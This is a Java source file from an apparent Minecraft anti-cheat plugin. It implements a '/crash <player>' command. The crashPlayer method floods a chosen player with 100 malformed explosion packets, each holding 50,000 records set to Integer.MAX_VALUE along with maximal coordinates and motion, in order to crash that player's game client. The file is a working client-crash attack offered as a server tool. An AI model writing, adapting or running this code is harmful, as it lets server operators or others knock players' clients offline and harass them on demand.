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package io.kohi.anticheat.command.impl;

import io.github.retrooper.packetevents.PacketEvents;
import io.github.retrooper.packetevents.packetwrappers.NMSPacket;
import io.github.retrooper.packetevents.packetwrappers.play.out.explosion.WrappedPacketOutExplosion;
import io.github.retrooper.packetevents.utils.player.PlayerUtils;
import io.github.retrooper.packetevents.utils.vector.Vector3f;
import io.github.retrooper.packetevents.utils.vector.Vector3i;
import io.kohi.anticheat.Plugin;
import io.kohi.anticheat.command.api.Command;
import io.kohi.anticheat.command.api.CommandInfo;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;

import java.util.ArrayList;
import java.util.List;

@CommandInfo(
        name = "crash",
        usage = "/%s crash <player>",
        description = "Send crash packet to client",
        permission = "antiskid.crash",
        subCommand = true
)
public class CrashCommand extends Command {
    
    public CrashCommand() {
        super(CrashCommand.class);
    }
    
    @Override
    public boolean onCommand(String[] args, String label, CommandSender sender) {
        if (!this.hasPermission(sender)) {
            sender.sendMessage(ChatColor.RED + "No permission.");
            return true;
        }
        
        if (args.length < 1) {
            sender.sendMessage(ChatColor.RED + "Usage: /" + label + " crash <player>");
            return true;
        }
        
        Player target = Bukkit.getPlayer(args[0]);
        
        if (target == null || !target.isOnline()) {
            sender.sendMessage(ChatColor.RED + "Player is not online.");
            return true;
        }
        
        // Crash the player using PacketEvents 1.8.4
        crashPlayer(target);
        
        sender.sendMessage(ChatColor.YELLOW + "Crash packet sent to player.");
        return true;
    }
    
    /**
     * Crash player by sending malformed explosion packets
     * Compatible with 1.7 NMS and PacketEvents 1.8.4
     */
    private void crashPlayer(Player target) {
        try {
            // Create malformed explosion packet records (Vector3i for 1.8.4)
            List<Vector3i> records = new ArrayList<>();
            
            // Add massive amount of explosion records to overwhelm client
            for (int i = 0; i < 50000; i++) {
                records.add(new Vector3i(Integer.MAX_VALUE, Integer.MAX_VALUE, Integer.MAX_VALUE));
            }
            
            // Send multiple explosion packets to crash the client (1.8.4 API)
            for (int i = 0; i < 100; i++) {
                WrappedPacketOutExplosion explosion = new WrappedPacketOutExplosion(
                        Double.MAX_VALUE, // x
                        Double.MAX_VALUE, // y
                        Double.MAX_VALUE, // z
                        Float.MAX_VALUE,  // radius
                        records,          // List<Vector3i>
                        Float.MAX_VALUE,  // playerMotionX
                        Float.MAX_VALUE,  // playerMotionY
                        Float.MAX_VALUE   // playerMotionZ
                );
                
                // Get PlayerUtils instance and send packet (1.8.4 API)
                Object playerUtilsInstance = PacketEvents.get().getPlayerUtils();
                if (playerUtilsInstance instanceof PlayerUtils) {
                    ((PlayerUtils) playerUtilsInstance).sendPacket(target, explosion);
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

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